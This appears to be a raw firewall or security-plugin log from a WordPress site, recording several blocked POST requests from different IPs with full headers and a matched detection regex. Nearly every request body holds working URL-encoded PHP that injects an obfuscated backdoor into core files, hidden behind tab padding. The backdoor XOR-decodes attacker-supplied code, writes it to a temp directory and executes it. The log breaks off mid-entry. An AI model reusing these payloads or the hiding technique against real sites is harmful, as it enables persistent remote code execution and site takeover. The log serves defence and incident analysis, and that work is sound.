Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/assets\/script-loader-react-refresh-runtime.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524val%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%253B%2520%2524entry%2520%253D%2527%2527%253B%2520%2524s%2520%253D%25200%253B%2520while%2528%2524s%2520%253C%2520strlen%2528%2524mrk%2529%2529%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524s%255D%2529%2520%255E%252069%2529%253B%2524s%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524val%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524marker%2529%2520%2526%2526%2520is_dir%2528%2524marker%2529%2529%2520%257B%2520%2524reference%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.desc%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524reference%252C%2520%2524entry%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524reference%253B%2520%2540unlink%2528%2524reference%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:55:19","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Nm:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/assets\/script-loader-react-refresh-runtime.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524val%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%253B%2520%2524entry%2520%253D%2527%2527%253B%2520%2524s%2520%253D%25200%253B%2520while%2528%2524s%2520%253C%2520strlen%2528%2524mrk%2529%2529%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524s%255D%2529%2520%255E%252069%2529%253B%2524s%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524val%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524marker%2529%2520%2526%2526%2520is_dir%2528%2524marker%2529%2529%2520%257B%2520%2524reference%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.desc%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524reference%252C%2520%2524entry%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524reference%253B%2520%2540unlink%2528%2524reference%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncontent-length:3911\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGz0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nNm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/assets\/script-loader-react-refresh-runtime.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524val%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%253B%2520%2524entry%2520%253D%2527%2527%253B%2520%2524s%2520%253D%25200%253B%2520while%2528%2524s%2520%253C%2520strlen%2528%2524mrk%2529%2529%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524s%255D%2529%2520%255E%252069%2529%253B%2524s%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524val%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524marker%2529%2520%2526%2526%2520is_dir%2528%2524marker%2529%2529%2520%257B%2520%2524reference%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.desc%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524reference%252C%2520%2524entry%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524reference%253B%2520%2540unlink%2528%2524reference%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:55:23","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524res%2529%2520%253B%2520%2524resource%253D%2520%2527%2527%253B%2520%2524s%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524k%253D%25200%253B%2520array_walk%2528%2524res%252C%2520function%2520%2528%2524v7%2529%2520use%2520%2528%2526%2524resource%252C%2520%2526%2524k%252C%2520%2524s%252C%2520%2524lenS%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2524s%255B%2524k%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524sChar%2520-%2520%2528%2524k%2520%2525%252010%2529%2529%255E%252029%253B%2520%2524resource%2520.%253Dchr%2528%2524dec%2520%2529%253B%2520%2524k%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524token%2520%253D%2520array_shift%2528%2524record%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524token%2529%2520%253F%2520is_writable%2528%2524token%2529%2520%253A%2520false%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2522%2524token%2522%2520.%2520%2522\/.ptr%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524dchunk%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dchunk%253B%2520unlink%2528%2524dchunk%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-length:4712\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMx0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nfM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524res%2529%2520%253B%2520%2524resource%253D%2520%2527%2527%253B%2520%2524s%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524k%253D%25200%253B%2520array_walk%2528%2524res%252C%2520function%2520%2528%2524v7%2529%2520use%2520%2528%2526%2524resource%252C%2520%2526%2524k%252C%2520%2524s%252C%2520%2524lenS%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2524s%255B%2524k%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524sChar%2520-%2520%2528%2524k%2520%2525%252010%2529%2529%255E%252029%253B%2520%2524resource%2520.%253Dchr%2528%2524dec%2520%2529%253B%2520%2524k%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524token%2520%253D%2520array_shift%2528%2524record%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524token%2529%2520%253F%2520is_writable%2528%2524token%2529%2520%253A%2520false%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2522%2524token%2522%2520.%2520%2522\/.ptr%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524dchunk%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dchunk%253B%2520unlink%2528%2524dchunk%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:55:26","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Hg:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524res%2529%2520%253B%2520%2524resource%253D%2520%2527%2527%253B%2520%2524s%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524k%253D%25200%253B%2520array_walk%2528%2524res%252C%2520function%2520%2528%2524v7%2529%2520use%2520%2528%2526%2524resource%252C%2520%2526%2524k%252C%2520%2524s%252C%2520%2524lenS%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2524s%255B%2524k%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524sChar%2520-%2520%2528%2524k%2520%2525%252010%2529%2529%255E%252029%253B%2520%2524resource%2520.%253Dchr%2528%2524dec%2520%2529%253B%2520%2524k%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524token%2520%253D%2520array_shift%2528%2524record%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524token%2529%2520%253F%2520is_writable%2528%2524token%2529%2520%253A%2520false%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2522%2524token%2522%2520.%2520%2522\/.ptr%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524dchunk%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dchunk%253B%2520unlink%2528%2524dchunk%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncontent-length:4712\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFTpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 